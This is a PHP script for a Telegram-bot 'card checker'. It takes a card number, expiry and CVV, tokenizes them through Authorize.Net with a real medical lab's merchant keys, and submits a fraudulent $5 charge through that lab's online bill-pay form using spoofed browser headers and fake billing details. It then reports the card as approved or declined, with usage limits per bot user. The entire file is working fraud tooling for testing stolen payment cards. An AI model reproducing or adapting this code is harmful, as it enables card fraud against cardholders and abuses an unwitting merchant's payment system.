<?php
// authnet1.php - Authorize.Net Card Checker
// Usage: authnet1.php?card=CARDNUMBER|MM|YYYY|CVV&chatid=CHATID&debug=1

$timestamp_start = microtime(true);

// Debug mode
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

// Get parameters
if (!isset($_GET['card']) || !isset($_GET['chatid'])) {
    die("ERROR: card and chatid parameters required\nUsage: ?card=CARD|MM|YYYY|CVV&chatid=CHATID&debug=1\n");
}

$card_param = $_GET['card'];
$chat_id = $_GET['chatid'];

if ($debug) {
    echo "[DEBUG] ========== AUTHNET CHECK START ==========\n";
    echo "[DEBUG] Card Parameter: {$card_param}\n";
    echo "[DEBUG] Chat ID: {$chat_id}\n";
    echo "[DEBUG] ==========================================\n\n";
}

// Parse card data
$card_parts = explode('|', $card_param);
if (count($card_parts) != 4) {
    die("ERROR: Invalid format. Use: CARD|MM|YYYY|CVV\n");
}

list($card_number, $month, $year, $cvv) = array_map('trim', $card_parts);

// Validate
if (empty($card_number) || empty($month) || empty($year) || empty($cvv)) {
    die("ERROR: All fields required (card, month, year, cvv)\n");
}

if (strlen($month) != 2 || strlen($year) != 4) {
    die("ERROR: Invalid date format. Use MM|YYYY\n");
}

if (!preg_match('/^\d{16}$/', $card_number)) {
    die("ERROR: Card number must be 16 digits\n");
}

if (!preg_match('/^\d{3}$/', $cvv)) {
    die("ERROR: CVV must be 3 digits\n");
}

if ($cvv === '000') {
    die("ERROR: GEN YASAK (CVV cannot be 000)\n");
}

if ($debug) {
    echo "[DEBUG] === CARD DATA VALIDATED ===\n";
    echo "[DEBUG] Card: {$card_number}\n";
    echo "[DEBUG] Expiry: {$month}/{$year}\n";
    echo "[DEBUG] CVV: {$cvv}\n";
    echo "[DEBUG] ===========================\n\n";
}

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $db   = 'checkerbotdb3';
    $user = 'root';
    $pass = '';
    $charset = 'utf8mb4';

    $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
    $options = [
        PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES   => false,
    ];

    try {
        return new PDO($dsn, $user, $pass, $options);
    } catch (PDOException $e) {
        die('Database connection failed: ' . $e->getMessage());
    }
}

function getCurrentLimit($pdo, $chat_id) {
    $stmt = $pdo->prepare("SELECT authnetlimit FROM users WHERE chatid = ?");
    $stmt->execute([$chat_id]);
    $result = $stmt->fetch();
    return $result ? (int)$result['authnetlimit'] : 0;
}

function decrementLimit($pdo, $chat_id) {
    $stmt = $pdo->prepare("UPDATE users SET authnetlimit = authnetlimit - 1 WHERE chatid = ? AND authnetlimit > 0");
    $stmt->execute([$chat_id]);
}

// Check limit
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chat_id);

if ($debug) {
    echo "[DEBUG] Current AuthNet Limit: {$current_limit}\n";
    if ($current_limit <= 0) {
        echo "[DEBUG] ❌ No limit remaining!\n\n";
    }
}

if (!$debug && $current_limit <= 0) {
    die("❌ Limitiniz dolmuş | Limit:0 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n");
}

// Decrement limit
if (!$debug) {
    decrementLimit($pdo, $chat_id);
}
$new_limit = $debug ? $current_limit : ($current_limit - 1);

if ($debug) {
    echo "[DEBUG] Limit decremented. New limit: {$new_limit}\n\n";
}

// Step 1: Get Authorize.Net token
$token_url = "https://api2.authorize.net/xml/v1/request.api";

$expiry_date = $month . substr($year, -2); // MMYY format

$token_payload = json_encode([
    "securePaymentContainerRequest" => [
        "merchantAuthentication" => [
            "name" => "3c5Q9QdJW",
            "clientKey" => "2n7ph2Zb4HBkJkb8byLFm7stgbfd8k83mSPWLW23uF4g97rX5pRJNgbyAe2vAvQu"
        ],
        "data" => [
            "type" => "TOKEN",
            "id" => "1dc28b4f-013b-a59c-a071-dc4f10bed76e",
            "token" => [
                "cardNumber" => $card_number,
                "expirationDate" => $expiry_date,
                "cardCode" => $cvv
            ]
        ]
    ]
]);

$token_headers = [
    "User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Mobile Safari/537.36",
    "Accept-Encoding: gzip, deflate, br, zstd",
    "Content-Type: application/json; charset=UTF-8",
    "sec-ch-ua-platform: \"Android\"",
    "sec-ch-ua: \"Chromium\";v=\"142\", \"Google Chrome\";v=\"142\", \"Not_A Brand\";v=\"99\"",
    "sec-ch-ua-mobile: ?1",
    "Origin: https://avanticmedicallab.com",
    "Sec-Fetch-Site: cross-site",
    "Sec-Fetch-Mode: cors",
    "Sec-Fetch-Dest: empty",
    "Referer: https://avanticmedicallab.com/",
    "Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7"
];

if ($debug) {
    echo "[DEBUG] === STEP 1: AUTHORIZE.NET TOKEN REQUEST ===\n";
    echo "[DEBUG] URL: {$token_url}\n";
    echo "[DEBUG] Payload: {$token_payload}\n";
    echo "[DEBUG] ==========================================\n";
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $token_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $token_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, $token_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_ENCODING, "");

$token_response = curl_exec($ch);
$token_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$token_error = curl_error($ch);

// Remove BOM and clean response
$token_response = trim($token_response);
$token_response = preg_replace('/^\xEF\xBB\xBF/', '', $token_response); // Remove UTF-8 BOM

if ($debug) {
    echo "[DEBUG] === TOKEN RESPONSE ===\n";
    echo "[DEBUG] HTTP Code: {$token_http_code}\n";
    if ($token_error) {
        echo "[DEBUG] cURL Error: {$token_error}\n";
    }
    echo "[DEBUG] Response (cleaned): {$token_response}\n";
    echo "[DEBUG] ======================\n\n";
}

if ($token_error) {
    curl_close($ch);
    $elapsed = round(microtime(true) - $timestamp_start, 2);
    die("❌ Token request failed | {$card_param} ({$elapsed}s) Limit:{$new_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n");
}

// Parse token response
$token_data = json_decode($token_response, true);
$opaque_data_value = isset($token_data['opaqueData']['dataValue']) ? $token_data['opaqueData']['dataValue'] : null;

if (!$opaque_data_value) {
    curl_close($ch);
    $elapsed = round(microtime(true) - $timestamp_start, 2);
    
    if ($debug) {
        echo "[DEBUG] ❌ Token not found in response\n";
        echo "[DEBUG] Full response: " . print_r($token_data, true) . "\n\n";
    }
    
    die("❌ Token alınamadı | {$card_param} ({$elapsed}s) Limit:{$new_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n");
}

if ($debug) {
    echo "[DEBUG] ✅ Token received: {$opaque_data_value}\n\n";
}

// Step 2: Get wpforms token from page
$page_url = "https://avanticmedicallab.com/pay-bill-online/";

if ($debug) {
    echo "[DEBUG] === STEP 2: GET WPFORMS TOKEN ===\n";
    echo "[DEBUG] URL: {$page_url}\n";
    echo "[DEBUG] ===================================\n";
}

curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip, deflate"); // Only gzip and deflate, no brotli
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Mobile Safari/537.36",
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7"
]);

$page_response = curl_exec($ch);
$page_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$page_error = curl_error($ch);

if ($debug) {
    echo "[DEBUG] HTTP Code: {$page_http_code}\n";
    if ($page_error) {
        echo "[DEBUG] cURL Error: {$page_error}\n";
    }
    echo "[DEBUG] Response length: " . strlen($page_response) . " bytes\n";
}

if ($page_error || $page_http_code != 200) {
    curl_close($ch);
    $elapsed = round(microtime(true) - $timestamp_start, 2);
    die("❌ Failed to load payment page | {$card_param} ({$elapsed}s) Limit:{$new_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n");
}

// WPForms token - use a static fallback (may need manual update if it expires)
$wpforms_token = '1531bfab9dc55531fad291588731a056'; // Updated token

if ($debug) {
    echo "[DEBUG] ❌ WPForms token not found in HTML\n";
    echo "[DEBUG] ⚠️  Using static token (updated)\n";
    echo "[DEBUG] Token: {$wpforms_token}\n\n";
}

// Step 3: Submit payment
$payment_url = "https://avanticmedicallab.com/wp-admin/admin-ajax.php";

$payment_data = [
    'wpforms[fields][1][first]' => 'Test',
    'wpforms[fields][1][last]' => 'User',
    'wpforms[fields][17]' => '5.00',
    'wpforms[fields][2]' => 'test@example.com',
    'wpforms[fields][3]' => '(537) 623-8375',
    'wpforms[fields][14]' => '',
    'wpforms[fields][4][address1]' => '123 Test St',
    'wpforms[fields][4][city]' => 'Test City',
    'wpforms[fields][4][state]' => 'CO',
    'wpforms[fields][4][postal]' => '46040',
    'wpforms[fields][6]' => '$ 5.00',
    'wpforms[fields][11][]' => 'By clicking on Pay Now button you have read and agreed to the policies set forth in both the Privacy Policy and the Terms and Conditions pages.',
    'wpforms[id]' => '4449',
    'wpforms[author]' => '1',
    'wpforms[post_id]' => '3388',
    'wpforms[authorize_net][opaque_data][descriptor]' => 'COMMON.ACCEPT.INAPP.PAYMENT',
    'wpforms[authorize_net][opaque_data][value]' => $opaque_data_value,
    'wpforms[authorize_net][card_data][expire]' => $month . '/' . substr($year, -2),
    'wpforms[token]' => $wpforms_token,
    'action' => 'wpforms_submit',
    'page_url' => 'https://avanticmedicallab.com/pay-bill-online/',
    'page_title' => 'Pay Bill Online',
    'page_id' => '3388'
];

$payment_headers = [
    "User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Mobile Safari/537.36",
    "Accept: application/json, text/javascript, */*; q=0.01",
    "sec-ch-ua-platform: \"Android\"",
    "x-requested-with: XMLHttpRequest",
    "sec-ch-ua: \"Chromium\";v=\"142\", \"Google Chrome\";v=\"142\", \"Not_A Brand\";v=\"99\"",
    "sec-ch-ua-mobile: ?1",
    "origin: https://avanticmedicallab.com",
    "sec-fetch-site: same-origin",
    "sec-fetch-mode: cors",
    "sec-fetch-dest: empty",
    "referer: https://avanticmedicallab.com/pay-bill-online/",
    "accept-language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
    "priority: u=1, i"
];

if ($debug) {
    echo "[DEBUG] === STEP 3: PAYMENT REQUEST ===\n";
    echo "[DEBUG] URL: {$payment_url}\n";
    echo "[DEBUG] Payment amount: \$5.00\n";
    echo "[DEBUG] Opaque token: {$opaque_data_value}\n";
    echo "[DEBUG] WPForms token: {$wpforms_token}\n";
    echo "[DEBUG] ==================================\n";
}

curl_setopt($ch, CURLOPT_URL, $payment_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payment_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $payment_headers);

$payment_response = curl_exec($ch);
$payment_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$payment_error = curl_error($ch);
curl_close($ch);

if ($debug) {
    echo "[DEBUG] === PAYMENT RESPONSE ===\n";
    echo "[DEBUG] HTTP Code: {$payment_http_code}\n";
    if ($payment_error) {
        echo "[DEBUG] cURL Error: {$payment_error}\n";
    }
    echo "[DEBUG] Response (first 1000 chars): " . substr($payment_response, 0, 1000) . "\n";
    echo "[DEBUG] ========================\n\n";
}

if ($payment_error) {
    $elapsed = round(microtime(true) - $timestamp_start, 2);
    die("❌ Payment request failed | {$card_param} ({$elapsed}s) Limit:{$new_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n");
}

// Parse payment response
$payment_json = json_decode($payment_response, true);
$elapsed = round(microtime(true) - $timestamp_start, 2);

if ($debug) {
    echo "[DEBUG] === PAYMENT RESULT ===\n";
    echo "[DEBUG] Success: " . (isset($payment_json['success']) && $payment_json['success'] ? 'true' : 'false') . "\n";
    if (isset($payment_json['data'])) {
        echo "[DEBUG] Data: " . json_encode($payment_json['data'], JSON_PRETTY_PRINT) . "\n";
    }
    echo "[DEBUG] ======================\n\n";
}

if (isset($payment_json['success']) && $payment_json['success'] === true) {
    echo "✅ APPROVED! - \$5 | {$card_param} ({$elapsed}s) Limit:{$new_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
} else {
    // Extract error message
    $error_msg = "DECLINED";
    
    // Try footer first
    if (isset($payment_json['data']['errors']['general']['footer'])) {
        $footer = $payment_json['data']['errors']['general']['footer'];
        
        // Extract text from <p> tags
        if (preg_match('/<p>(.*?)<\/p>/', $footer, $matches)) {
            $full_msg = strip_tags(str_replace(['<br />', '<br/>', '<br>'], ' ', $matches[1]));
            
            // Extract only the message after "API: (code)"
            if (preg_match('/API:\s*\([A-Z0-9]+\)\s*(.+)$/i', $full_msg, $api_match)) {
                $error_msg = trim($api_match[1]);
            } else {
                $error_msg = $full_msg;
            }
        }
    }
    // Try header if footer not found
    elseif (isset($payment_json['data']['errors']['general']['header'])) {
        $header = $payment_json['data']['errors']['general']['header'];
        
        // Extract text from <p> tags
        if (preg_match('/<p>(.*?)<\/p>/', $header, $matches)) {
            $full_msg = strip_tags(str_replace(['<br />', '<br/>', '<br>'], ' ', $matches[1]));
            
            // Extract only the message after "API: (code)"
            if (preg_match('/API:\s*\([A-Z0-9]+\)\s*(.+)$/i', $full_msg, $api_match)) {
                $error_msg = trim($api_match[1]);
            } else {
                $error_msg = $full_msg;
            }
        }
    }
    
    if ($debug) {
        echo "[DEBUG] Error message extracted: {$error_msg}\n\n";
    }
    
    echo "❌ {$error_msg} | {$card_param} ({$elapsed}s) Limit:{$new_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
}

?>
